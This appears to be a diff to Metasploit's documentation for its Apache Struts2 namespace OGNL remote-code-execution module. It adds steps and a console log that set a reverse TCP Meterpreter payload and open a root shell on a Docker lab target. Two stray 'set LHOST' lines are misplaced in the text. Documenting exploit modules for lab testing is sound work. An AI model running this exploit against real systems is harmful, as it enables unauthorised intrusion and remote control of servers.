Documentation update

documentation/modules/exploit/multi/http/struts2_namespace_ognl.md

@@ -50,6 +50,7 @@ The vulnerability was reported to Apache by [Man Yue Mo] from Semmle in April 20
   ```
 
   8. Upon completion, the container will shutdown and you'll return to the host environment.  Restart the container, now with a vulnerable endpoint:
+msf5 exploit(multi/http/struts2_namespace_ognl) > set LHOST 192.168.199.134
   ```
   sudo docker start $CONTAINER_ID
   ```
@@ -83,7 +84,10 @@ The vulnerability was reported to Apache by [Man Yue Mo] from Semmle in April 20
   - [ ] You will not be given a shell (yet).
 
   Confirm that payload upload and execution works:
-  - [ ] It doesn't (yet).
+  - [ ] Set a payload, e.g.: ```set PAYLOAD linux/x64/meterpreter/reverse_tcp```
+  - [ ] Configure `LHOST` and `RHOST` as necessary.
+  - [ ] Run the exploit: ```run```
+msf5 exploit(multi/http/struts2_namespace_ognl) > set LHOST 192.168.199.134
 ## Options
 
   **TARGETURI**
@@ -98,7 +102,7 @@ The vulnerability was reported to Apache by [Man Yue Mo] from Semmle in April 20
 
 ### Version of software and OS as applicable
 
-  Checking a vulnerable endpoint, as installed in the above steps.
+  Checking a vulnerable endpoint, as installed in the above steps:
 
   ```
   msf > use exploit/multi/http/struts_namespace_rce
@@ -127,3 +131,25 @@ b3d9b350d9b6
 [*] Exploit completed, but no session was created.
 msf5 exploit(multi/http/struts_namespace_rce) > 
   ```
+
+  Getting a Meterpreter session on the above-described environment:
+
+```
+
+msf5 > use exploit/multi/http/struts2_namespace_ognl
+msf5 exploit(multi/http/struts2_namespace_ognl) > set ACTION help.action
+msf5 exploit(multi/http/struts2_namespace_ognl) > set RHOSTS 192.168.199.135
+msf5 exploit(multi/http/struts2_namespace_ognl) > set RPORT 32771
+msf5 exploit(multi/http/struts2_namespace_ognl) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
+msf5 exploit(multi/http/struts2_namespace_ognl) > set LHOST 192.168.199.134
+msf5 exploit(multi/http/struts2_namespace_ognl) > run
+
+[*] Started reverse TCP handler on 192.168.199.134:4444 
+[+] Target profiled successfully: Linux 4.4.0-112-generic amd64, running as root
+[+] Payload successfully dropped and executed.
+[*] Sending stage (816260 bytes) to 192.168.199.135
+[*] Meterpreter session 1 opened (192.168.199.134:4444 -> 192.168.199.135:47482) at 2018-08-31 13:15:22 -0500
+
+meterpreter >
+``` 
+